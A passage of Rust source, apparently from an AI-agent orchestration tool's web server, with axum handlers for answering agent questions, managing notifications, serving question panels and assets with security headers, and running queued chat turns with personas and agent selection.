5812 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5814 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5815 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5816 self.origin_chat = talk.map(|t| t.id);
5817 self
5818 }
5819}
5820
5821fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5825 Config::discover(repo, None).ok().map(|(c, _)| c)
5826}
5827
5828fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5830 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5831}
5832
5833fn question_views(
5836 qs: Vec<Question>,
5837 store: &ask::Questions,
5838 load: impl FnOnce() -> Option<Config>,
5839) -> Vec<QuestionView> {
5840 if qs.is_empty() {
5841 return Vec::new();
5842 }
5843 let cfg = load();
5844 qs.into_iter()
5845 .map(|q| {
5846 let on = deputies_enabled(cfg.as_ref(), &q);
5847 QuestionView::of(q, store, on)
5848 })
5849 .collect()
5850}
5851
5852fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5862 if !q.status.open() {
5863 return None;
5864 }
5865 if q.cwd.is_none() && q.deputy.is_none() {
5866 return crate::deputy::kind_of(q).map(|_| "nobody");
5867 }
5868 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5869 Some(_) if q.deputy.is_some() => "deputy",
5870 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5871 Some(_) => "asker",
5872 None => "nobody",
5873 })
5874}
5875
5876async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5882 blocking(move || {
5883 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5884 Ok(Json(
5885 question_views(ui.questions.list(), &ui.questions, || {
5886 deputy_config(&ui.repo)
5887 })
5888 .into_iter()
5889 .map(|v| v.with_origin(&tasks, &talks))
5890 .collect(),
5891 ))
5892 })
5893 .await
5894}
5895
5896async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5899 blocking(move || {
5900 let items = ui.notices.list();
5901 let unread = items.iter().filter(|n| n.unread()).count();
5902 Ok(Json(
5903 serde_json::json!({ "unread": unread, "items": items }),
5904 ))
5905 })
5906 .await
5907}
5908
5909fn notice_error(e: anyhow::Error) -> ApiError {
5910 ApiError::not_found(format!("{e:#}"))
5913}
5914
5915async fn notification_read(
5917 State(ui): State<Arc<Ui>>,
5918 Path(id): Path<String>,
5919) -> ApiResult<Json<Notice>> {
5920 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5921}
5922
5923async fn notification_dismiss(
5925 State(ui): State<Arc<Ui>>,
5926 Path(id): Path<String>,
5927) -> ApiResult<Json<Notice>> {
5928 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5929}
5930
5931async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5933 blocking(move || {
5934 let changed = ui.notices.mark_all_read()?;
5935 Ok(Json(serde_json::json!({ "marked": changed })))
5936 })
5937 .await
5938}
5939
5940#[derive(Debug, Default, Deserialize)]
5946#[serde(default, deny_unknown_fields)]
5947struct NewAnswer {
5948 choice: Option<String>,
5949 text: Option<String>,
5950}
5951
5952async fn question_answer(
5953 State(ui): State<Arc<Ui>>,
5954 Path(id): Path<String>,
5955 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5956) -> ApiResult<Json<QuestionView>> {
5957 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5958 let answer = match (body.choice, body.text) {
5959 (Some(c), None) => Answer::Choice(c),
5960 (None, Some(t)) => Answer::Text(t),
5961 (Some(_), Some(_)) => {
5962 return Err(ApiError::bad_request(
5963 "send either `choice` or `text`, not both",
5964 ));
5965 }
5966 (None, None) => {
5967 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5968 }
5969 };
5970
5971 blocking(move || {
5972 let id = resolve_question(&ui.questions, &id)?;
5973 let q = ui
5974 .questions
5975 .get(&id)
5976 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5977 if !q.status.open() {
5978 return Err(ApiError::conflict(format!(
5982 "question {} is already {}",
5983 q.short(),
5984 q.status.as_str()
5985 )));
5986 }
5987 let (q, ()) = ui
5991 .questions
5992 .update(&q.id, |r| r.answer(answer))
5993 .map_err(ApiError::bad_request_from)?;
5994 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5995 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5996 Ok(Json(
5997 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5998 ))
5999 })
6000 .await
6001}
6002
6003#[derive(Debug, Deserialize)]
6005#[serde(deny_unknown_fields)]
6006struct NewSay {
6007 body: String,
6008}
6009
6010async fn question_say(
6020 State(ui): State<Arc<Ui>>,
6021 Path(id): Path<String>,
6022 body: std::result::Result<Json<NewSay>, JsonRejection>,
6023) -> ApiResult<Json<QuestionView>> {
6024 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6025 blocking(move || {
6026 let id = resolve_question(&ui.questions, &id)?;
6027 let q = ui
6028 .questions
6029 .get(&id)
6030 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6031 if !q.status.open() {
6032 return Err(ApiError::conflict(format!(
6036 "question {} is already {}",
6037 q.short(),
6038 q.status.as_str()
6039 )));
6040 }
6041 let (q, ()) = ui
6044 .questions
6045 .update(&q.id, |r| r.say(body.body))
6046 .map_err(ApiError::bad_request_from)?;
6047 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6048 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6049 Ok(Json(
6050 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6051 ))
6052 })
6053 .await
6054}
6055
6056async fn question_consult(
6065 State(ui): State<Arc<Ui>>,
6066 Path(id): Path<String>,
6067) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6068 let (view, reclaimed) = blocking({
6069 let ui = Arc::clone(&ui);
6070 move || {
6071 let id = resolve_question(&ui.questions, &id)?;
6072 let q = ui
6073 .questions
6074 .get(&id)
6075 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6076 if !q.status.open() {
6077 return Err(ApiError::conflict(format!(
6078 "question {} is already {}",
6079 q.short(),
6080 q.status.as_str()
6081 )));
6082 }
6083 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6084 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6085 return Err(ApiError::conflict(format!(
6086 "question {} has no chat to ask",
6087 q.short()
6088 )));
6089 };
6090 let cfg = if q.consult.is_none() {
6094 Some(Config::discover(&talk.repo, None)?.0)
6095 } else {
6096 None
6097 };
6098 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6099 let claim = if fresh {
6100 match ui.begin_queued_talk_turn(&talk.id)? {
6101 Some(turn_guard) => {
6102 let talk = ui.talks.get(&talk.id)?;
6103 let cfg = match cfg {
6104 Some(cfg) => cfg,
6105 None => Config::discover(&talk.repo, None)?.0,
6106 };
6107 Some((talk, cfg, turn_guard))
6108 }
6109 None => None,
6110 }
6111 } else {
6112 None
6113 };
6114 let q = ui.questions.get(&q.id)?;
6115 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6116 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6117 Ok((view, claim))
6118 }
6119 })
6120 .await?;
6121 if let Some((talk, cfg, turn_guard)) = reclaimed {
6122 let talks = ui.talks.clone();
6123 let id = talk.id.clone();
6124 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6125 }
6126 Ok((StatusCode::ACCEPTED, Json(view)))
6127}
6128
6129fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6131 if store.path_of(id).is_file() {
6132 return Ok(id.to_owned());
6133 }
6134 pick(
6135 store.list().into_iter().map(|q| q.id).collect(),
6136 id,
6137 "question",
6138 )
6139}
6140
6141async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6156 blocking(move || {
6157 let id = resolve_question(&ui.questions, &id)?;
6158 let Some(html) = ui.questions.panel_html(&id) else {
6159 return Err(ApiError::not_found(format!("question {id} has no panel")));
6160 };
6161 Ok(panel_response(
6162 "text/html; charset=utf-8",
6163 false,
6164 html.into_bytes(),
6165 ))
6166 })
6167 .await
6168}
6169
6170async fn question_asset(
6198 State(ui): State<Arc<Ui>>,
6199 Path((id, name)): Path<(String, String)>,
6200) -> ApiResult<Response> {
6201 if !crate::ask::valid_asset_name(&name) {
6204 return Err(ApiError::bad_request(format!(
6205 "`{name}` is not a usable asset name"
6206 )));
6207 }
6208 blocking(move || {
6209 let id = resolve_question(&ui.questions, &id)?;
6210 let asset = ui
6211 .questions
6212 .panel_asset(&id, &name)
6213 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6214 let Some(bytes) = asset else {
6215 return Err(ApiError::not_found(format!(
6216 "question {id} has no asset `{name}`"
6217 )));
6218 };
6219 Ok(panel_response(
6220 asset_content_type(&name),
6221 is_svg(&name),
6222 bytes,
6223 ))
6224 })
6225 .await
6226}
6227
6228fn asset_content_type(name: &str) -> &'static str {
6241 match extension(name).as_deref() {
6242 Some("png") => "image/png",
6243 Some("jpg" | "jpeg") => "image/jpeg",
6244 Some("gif") => "image/gif",
6245 Some("webp") => "image/webp",
6246 Some("svg") => "image/svg+xml",
6247 Some("css") => "text/css; charset=utf-8",
6248 Some("txt") => "text/plain; charset=utf-8",
6249 _ => "application/octet-stream",
6250 }
6251}
6252
6253fn is_svg(name: &str) -> bool {
6256 extension(name).as_deref() == Some("svg")
6257}
6258
6259fn extension(name: &str) -> Option<String> {
6261 name.rsplit_once('.')
6262 .map(|(_, ext)| ext.to_ascii_lowercase())
6263}
6264
6265fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6282 let mut res = (
6283 [
6284 (header::CONTENT_TYPE, content_type),
6285 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6286 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6287 (header::REFERRER_POLICY, "no-referrer"),
6288 ],
6289 body,
6290 )
6291 .into_response();
6292 if download {
6293 res.headers_mut().insert(
6294 header::CONTENT_DISPOSITION,
6295 HeaderValue::from_static("attachment"),
6296 );
6297 }
6298 res
6299}
6300
6301#[derive(Debug, Serialize)]
6307struct TalkView {
6308 #[serde(flatten)]
6309 talk: Talk,
6310 turn_bodies_md: Vec<Vec<md::Node>>,
6311 thinking: bool,
6319 context: talk::ContextUsage,
6323 operator_name: Option<String>,
6326 persona_name: Option<String>,
6328 persona_avatar: String,
6331}
6332
6333impl TalkView {
6334 fn new(talk: Talk, thinking: bool) -> Self {
6337 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6338 Self::with_config(talk, thinking, cfg.as_ref())
6339 }
6340
6341 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6344 let context = talk::context_usage(&talk, cfg);
6345 let turn_bodies_md = talk
6346 .turns
6347 .iter()
6348 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6349 .collect();
6350 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6351 let persona_name = persona::find(specs, &talk.persona)
6352 .filter(|p| !p.is_default())
6353 .map(|p| p.name);
6354 let persona_avatar = avatar_url(
6355 &talk.id,
6356 &persona::find(specs, &talk.persona)
6357 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6358 );
6359 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6360 Self {
6361 turn_bodies_md,
6362 thinking,
6363 context,
6364 operator_name,
6365 persona_name,
6366 persona_avatar,
6367 talk,
6368 }
6369 }
6370}
6371
6372#[derive(Debug, Serialize)]
6377struct TalkDetailView {
6378 #[serde(flatten)]
6379 view: TalkView,
6380 tasks: Vec<TaskView>,
6381 roster: Vec<RosterEntry>,
6384 personas: Vec<PersonaEntry>,
6387}
6388
6389#[derive(Debug, Serialize)]
6391struct PersonaEntry {
6392 id: String,
6393 name: String,
6394 avatar: String,
6396}
6397
6398#[derive(Debug, Serialize)]
6400struct RosterEntry {
6401 id: String,
6402 kind: AgentKind,
6403 runnable: bool,
6405}
6406
6407async fn talks_list(
6412 State(ui): State<Arc<Ui>>,
6413 Query(q): Query<ListQuery>,
6414) -> ApiResult<Json<Vec<TalkView>>> {
6415 blocking(move || {
6416 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6417 Ok(Json(
6418 ui.talks
6419 .list()
6420 .into_iter()
6421 .filter(|talk| q.contains(&talk.id))
6422 .map(|talk| {
6423 let thinking = ui.is_thinking(&talk.id);
6424 let cfg = configs
6425 .entry(talk.repo.clone())
6426 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6427 TalkView::with_config(talk, thinking, cfg.as_ref())
6428 })
6429 .collect(),
6430 ))
6431 })
6432 .await
6433}
6434
6435#[derive(Debug, Default, Deserialize)]
6440#[serde(default)]
6441struct NewTalk {
6442 agent: Option<String>,
6443 repo: Option<PathBuf>,
6444 preferred_agent: Option<serde_json::Value>,
6448 persona: Option<serde_json::Value>,
6449 implementers: Option<serde_json::Value>,
6450}
6451
6452async fn talk_post(
6455 State(ui): State<Arc<Ui>>,
6456 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6457) -> ApiResult<impl IntoResponse> {
6458 let body = match body {
6462 Ok(Json(body)) => body,
6463 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6464 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6465 };
6466 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6467 let cfg = config_for(&repo).await?;
6468 let view = blocking(move || {
6469 let preferred = talk::Preferred {
6470 agent: body
6471 .preferred_agent
6472 .as_ref()
6473 .and_then(|v| v.as_str())
6474 .map(str::to_owned),
6475 persona: body
6476 .persona
6477 .as_ref()
6478 .and_then(|v| v.as_str())
6479 .map(str::to_owned),
6480 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6481 };
6482 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6483 let thinking = ui.is_thinking(&talk.id);
6484 Ok(TalkView::new(talk, thinking))
6485 })
6486 .await?;
6487 Ok((StatusCode::CREATED, Json(view)))
6488}
6489
6490async fn talk_detail(
6492 State(ui): State<Arc<Ui>>,
6493 Path(id): Path<String>,
6494) -> ApiResult<Json<TalkDetailView>> {
6495 blocking(move || {
6496 let id = resolve_talk(&ui.talks, &id)?;
6497 let talk = ui.talks.get(&id)?;
6498 let thinking = ui.is_thinking(&talk.id);
6499 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6500 .into_iter()
6501 .map(TaskView::from)
6502 .collect();
6503 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6504 let roster = cfg
6505 .as_ref()
6506 .map(|cfg| {
6507 cfg.agents
6508 .iter()
6509 .map(|a| RosterEntry {
6510 id: a.id.clone(),
6511 kind: a.kind,
6512 runnable: agent::installed(a),
6513 })
6514 .collect()
6515 })
6516 .unwrap_or_default();
6517 let specs = cfg
6518 .as_ref()
6519 .map(|cfg| cfg.talk.personas.clone())
6520 .unwrap_or_default();
6521 let personas = persona::catalog(&specs)
6522 .into_iter()
6523 .map(|p| PersonaEntry {
6524 avatar: avatar_url(&talk.id, &p),
6525 id: p.id,
6526 name: p.name,
6527 })
6528 .collect();
6529 Ok(Json(TalkDetailView {
6530 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6531 tasks,
6532 roster,
6533 personas,
6534 }))
6535 })
6536 .await
6537}
6538
6539#[derive(Debug, Default, Deserialize)]
6545#[serde(default, deny_unknown_fields)]
6546struct NewTalkTurn {
6547 text: String,
6548 attachments: Vec<String>,
6549}
6550
6551#[derive(Debug, Deserialize)]
6552#[serde(deny_unknown_fields)]
6553struct EditTalkPending {
6554 text: String,
6555 expected_text: String,
6556 expected_attachments: Vec<String>,
6557}
6558
6559#[derive(Debug, Deserialize)]
6560#[serde(deny_unknown_fields)]
6561struct ClearTalkPending {
6562 expected_text: String,
6563 expected_attachments: Vec<String>,
6564}
6565
6566async fn talk_say(
6578 State(ui): State<Arc<Ui>>,
6579 Path(id): Path<String>,
6580 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6581) -> ApiResult<(StatusCode, Json<TalkView>)> {
6582 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6583 if body.text.trim().is_empty() && body.attachments.is_empty() {
6584 return Err(ApiError::bad_request("say something"));
6585 }
6586
6587 let id = {
6588 let ui = Arc::clone(&ui);
6589 let asked = id.clone();
6590 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6591 };
6592 {
6596 let ui = Arc::clone(&ui);
6597 let id = id.clone();
6598 blocking(move || {
6599 let talk = ui.talks.get(&id)?;
6600 if !talk.status.open() {
6601 return Err(ApiError::conflict(format!(
6602 "talk {} is {} and takes no more turns",
6603 talk.short(),
6604 talk.status.as_str()
6605 )));
6606 }
6607 Ok(())
6608 })
6609 .await?;
6610 }
6611
6612 let attachments = {
6617 let ui = Arc::clone(&ui);
6618 let id = id.clone();
6619 let ids = body.attachments.clone();
6620 blocking(move || {
6621 ids.into_iter()
6622 .map(|att_id| {
6623 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6624 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6625 })
6626 })
6627 .collect::<ApiResult<Vec<talk::Attachment>>>()
6628 })
6629 .await?
6630 };
6631
6632 let start = {
6637 let ui = Arc::clone(&ui);
6638 let id = id.clone();
6639 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6640 };
6641 let turn_guard = match start {
6642 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6643 TalkTurnStart::Pending => {
6644 return Err(ApiError::conflict(
6645 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6646 ));
6647 }
6648 TalkTurnStart::Foreign => {
6649 return Err(ApiError::conflict(
6650 "a turn is already running in another process; try again when it has finished",
6651 ));
6652 }
6653 TalkTurnStart::Busy => {
6654 let (tx, rx) = tokio::sync::oneshot::channel();
6670 tokio::spawn({
6671 let ui = Arc::clone(&ui);
6672 let id = id.clone();
6673 let said = body.text.clone();
6674 async move {
6675 let written = blocking({
6676 let ui = Arc::clone(&ui);
6677 let id = id.clone();
6678 move || {
6679 let mut talk = ui.talks.get(&id)?;
6680 #[cfg(test)]
6685 if let Some(gate) = ui
6686 .busy_queue_gate
6687 .lock()
6688 .unwrap_or_else(PoisonError::into_inner)
6689 .take()
6690 {
6691 let _ = gate.reached.send(());
6692 let _ = gate.release.recv();
6693 }
6694 if let Err(error) =
6695 talk::queue(&mut talk, &ui.talks, &said, attachments)
6696 {
6697 if let Ok(fresh) = ui.talks.get(&id) {
6698 if !fresh.status.open() {
6699 return Err(ApiError::conflict(format!(
6700 "talk {} is {} and takes no more turns",
6701 fresh.short(),
6702 fresh.status.as_str()
6703 )));
6704 }
6705 }
6706 return Err(ApiError::from(error));
6707 }
6708 let claim = match ui.begin_queued_talk_turn(&id)? {
6719 Some(turn_guard) => {
6720 let (cfg, _) = Config::discover(&talk.repo, None)?;
6721 Some((talk.clone(), cfg, turn_guard))
6722 }
6723 None => None,
6724 };
6725 let thinking = ui.is_thinking(&id);
6726 Ok((TalkView::new(talk, thinking), claim))
6727 }
6728 })
6729 .await;
6730 let (view, reclaimed) = match written {
6731 Ok(pair) => pair,
6732 Err(e) => {
6733 let _ = tx.send(Err(e));
6738 return;
6739 }
6740 };
6741 let _ = tx.send(Ok(view));
6744 if let Some((talk, cfg, turn_guard)) = reclaimed {
6745 let talks = ui.talks.clone();
6746 drain_loop(talk, talks, cfg, id, turn_guard).await;
6747 }
6748 }
6749 });
6750 let view = rx
6751 .await
6752 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6753 return Ok((StatusCode::ACCEPTED, Json(view)));
6754 }
6755 };
6756
6757 let (talk, cfg) = {
6758 let ui = Arc::clone(&ui);
6759 let id = id.clone();
6760 blocking(move || {
6761 let talk = ui.talks.get(&id)?;
6762 let (cfg, _) = Config::discover(&talk.repo, None)?;
6763 Ok((talk, cfg))
6764 })
6765 .await?
6766 };
6767
6768 let talks = ui.talks.clone();
6769 let (tx, rx) = tokio::sync::oneshot::channel();
6784 tokio::spawn({
6785 let ui = Arc::clone(&ui);
6786 let talks = talks.clone();
6787 let id = id.clone();
6788 let said = body.text.clone();
6789 let mut talk = talk.clone();
6790 async move {
6791 let recorded = blocking({
6792 let talks = talks.clone();
6793 move || {
6794 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6795 if let Ok(fresh) = talks.get(&talk.id) {
6796 if !fresh.status.open() {
6797 return Err(ApiError::conflict(format!(
6798 "talk {} is {} and takes no more turns",
6799 fresh.short(),
6800 fresh.status.as_str()
6801 )));
6802 }
6803 }
6804 return Err(ApiError::from(error));
6805 }
6806 Ok((said.trim().to_owned(), talk))
6812 }
6813 })
6814 .await;
6815 let (text, mut talk) = match recorded {
6816 Ok(pair) => pair,
6817 Err(e) => {
6818 let _ = tx.send(Err(e));
6822 return;
6823 }
6824 };
6825 let queued = talk.clone();
6826 let thinking = ui.is_thinking(&id);
6827 let _ = tx.send(Ok((queued, thinking)));
6830
6831 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6832 tracing::warn!("talk {id} turn failed: {e:#}");
6836 }
6837 drain_loop(talk, talks, cfg, id, turn_guard).await;
6840 }
6841 });
6842
6843 let (queued, thinking) = rx
6844 .await
6845 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6846
6847 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6849}
6850
6851async fn talk_pending_resume(
6855 State(ui): State<Arc<Ui>>,
6856 Path(id): Path<String>,
6857) -> ApiResult<(StatusCode, Json<TalkView>)> {
6858 let id = {
6859 let ui = Arc::clone(&ui);
6860 let asked = id.clone();
6861 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6862 };
6863 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6864 return Err(ApiError::conflict(
6865 "a talk turn is already running; the queued draft will be handled by it",
6866 ));
6867 };
6868 let (talk, cfg) = {
6869 let ui = Arc::clone(&ui);
6870 let id = id.clone();
6871 blocking(move || {
6872 let talk = ui.talks.get(&id)?;
6873 if !talk.status.open() {
6874 return Err(ApiError::conflict(format!(
6875 "talk {} is {} and takes no more turns",
6876 talk.short(),
6877 talk.status.as_str()
6878 )));
6879 }
6880 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6881 return Err(ApiError::conflict("there is no queued draft to resume"));
6882 }
6883 let (cfg, _) = Config::discover(&talk.repo, None)?;
6884 Ok((talk, cfg))
6885 })
6886 .await?
6887 };
6888 let view = TalkView::new(talk.clone(), true);
6889 let talks = ui.talks.clone();
6890 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6891 Ok((StatusCode::ACCEPTED, Json(view)))
6892}
6893
6894async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6910 let live_set = Arc::clone(&turn.turns);
6911 let mut turn = Some(turn);
6919 loop {
6920 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6921 tracing::warn!("talk {id} lost its turn lease; not draining further");
6924 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6925 if let Some(turn) = turn.take() {
6926 turn.release(&mut live);
6927 }
6928 break;
6929 }
6930 {
6931 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6934 if live.parking {
6935 if let Some(turn) = turn.take() {
6936 turn.release(&mut live);
6937 }
6938 break;
6939 }
6940 }
6941 let observed = live_set
6945 .lock()
6946 .unwrap_or_else(PoisonError::into_inner)
6947 .queued
6948 .get(&id)
6949 .copied()
6950 .unwrap_or(0);
6951 let drained = blocking({
6952 let talks = talks.clone();
6953 let live_set = Arc::clone(&live_set);
6954 move || {
6955 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6960 let result = if live.parking {
6961 Ok(None)
6962 } else {
6963 talk::drain(&mut talk, &talks)
6964 };
6965 drop(live);
6966 Ok((talk, result))
6967 }
6968 })
6969 .await;
6970 let (next_talk, result) = match drained {
6971 Ok(drained) => drained,
6972 Err(e) => {
6973 tracing::warn!(
6974 status = %e.status,
6975 message = %e.message,
6976 "talk {id} could not start queued-text drain"
6977 );
6978 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6979 turn.take()
6980 .expect("held for the whole loop until released here")
6981 .release(&mut live);
6982 break;
6983 }
6984 };
6985 talk = next_talk;
6986 let drained = match result {
6987 Ok(Some(drained)) => drained,
6988 Ok(None) => {
6989 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6990 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6991 continue;
6992 }
6993 turn.take()
6994 .expect("held for the whole loop until released here")
6995 .release(&mut live);
6996 break;
6997 }
6998 Err(e) => {
6999 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7000 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7001 turn.take()
7002 .expect("held for the whole loop until released here")
7003 .release(&mut live);
7004 break;
7005 }
7006 };
7007 let responded = match turn.as_ref() {
7008 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7009 None => Err(anyhow::anyhow!("the turn guard was released")),
7010 };
7011 if let Err(e) = responded {
7012 tracing::warn!("talk {id} turn failed: {e:#}");
7013 }
7014 }
7015}
7016
7017async fn talk_pending_clear(
7019 State(ui): State<Arc<Ui>>,
7020 Path(id): Path<String>,
7021 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7022) -> ApiResult<Json<TalkView>> {
7023 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7024 blocking(move || {
7025 let id = resolve_talk(&ui.talks, &id)?;
7026 let mut talk = ui.talks.get(&id)?;
7027 if !talk.status.open() {
7028 return Err(ApiError::conflict(format!(
7029 "talk {} is {} and takes no more turns",
7030 talk.short(),
7031 talk.status.as_str()
7032 )));
7033 }
7034 if !talk::clear_pending_if_matches(
7035 &mut talk,
7036 &ui.talks,
7037 &body.expected_text,
7038 &body.expected_attachments,
7039 )? {
7040 return Err(ApiError::conflict(
7041 "queued message changed; reload it before clearing",
7042 ));
7043 }
7044 let thinking = ui.is_thinking(&talk.id);
7045 Ok(Json(TalkView::new(talk, thinking)))
7046 })
7047 .await
7048}
7049
7050async fn talk_pending_edit(
7054 State(ui): State<Arc<Ui>>,
7055 Path(id): Path<String>,
7056 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7057) -> ApiResult<Json<TalkView>> {
7058 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7059 let (view, reclaimed) = blocking({
7060 let ui = Arc::clone(&ui);
7061 move || {
7062 let id = resolve_talk(&ui.talks, &id)?;
7063 let mut talk = ui.talks.get(&id)?;
7064 if !talk.status.open() {
7065 return Err(ApiError::conflict(format!(
7066 "talk {} is {} and takes no more turns",
7067 talk.short(),
7068 talk.status.as_str()
7069 )));
7070 }
7071 if !talk::edit_pending_text(
7072 &mut talk,
7073 &ui.talks,
7074 &body.text,
7075 &body.expected_text,
7076 &body.expected_attachments,
7077 )? {
7078 return Err(ApiError::conflict(
7079 "queued message changed; reload it before editing",
7080 ));
7081 }
7082 let claim = match ui.begin_queued_talk_turn(&id)? {
7083 Some(turn_guard) => {
7084 let (cfg, _) = Config::discover(&talk.repo, None)?;
7085 Some((talk.clone(), cfg, id.clone(), turn_guard))
7086 }
7087 None => None,
7088 };
7089 let thinking = ui.is_thinking(&id);
7090 Ok((TalkView::new(talk, thinking), claim))
7091 }
7092 })
7093 .await?;
7094 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7095 let talks = ui.talks.clone();
7096 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7097 }
7098 Ok(Json(view))
7099}
7100
7101fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7103 if talk.status.open() {
7104 return Ok(());
7105 }
7106 Err(ApiError::conflict(format!(
7107 "talk {} is {} and takes no more turns",
7108 talk.short(),
7109 talk.status.as_str()
7110 )))
7111}
7112
7113#[derive(Debug, Deserialize)]
7115struct TalkAgent {
7116 agent: String,
7117}
7118
7119async fn talk_agent(
7124 State(ui): State<Arc<Ui>>,
7125 Path(id): Path<String>,
7126 Json(body): Json<TalkAgent>,
7127) -> ApiResult<Json<TalkView>> {
7128 let id = {
7129 let ui = Arc::clone(&ui);
7130 blocking(move || resolve_talk(&ui.talks, &id)).await?
7131 };
7132 let repo = {
7133 let ui = Arc::clone(&ui);
7134 let id = id.clone();
7135 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7136 };
7137 let cfg = config_for(&repo).await?;
7138 {
7140 let ui = Arc::clone(&ui);
7141 let id = id.clone();
7142 let cfg = cfg.clone();
7143 let wanted = body.agent.clone();
7144 blocking(move || {
7145 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7146 .map_err(ApiError::bad_request_from)?;
7147 refuse_if_closed(&ui.talks.get(&id)?)
7148 })
7149 .await?;
7150 }
7151 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7152 return Err(ApiError::conflict(
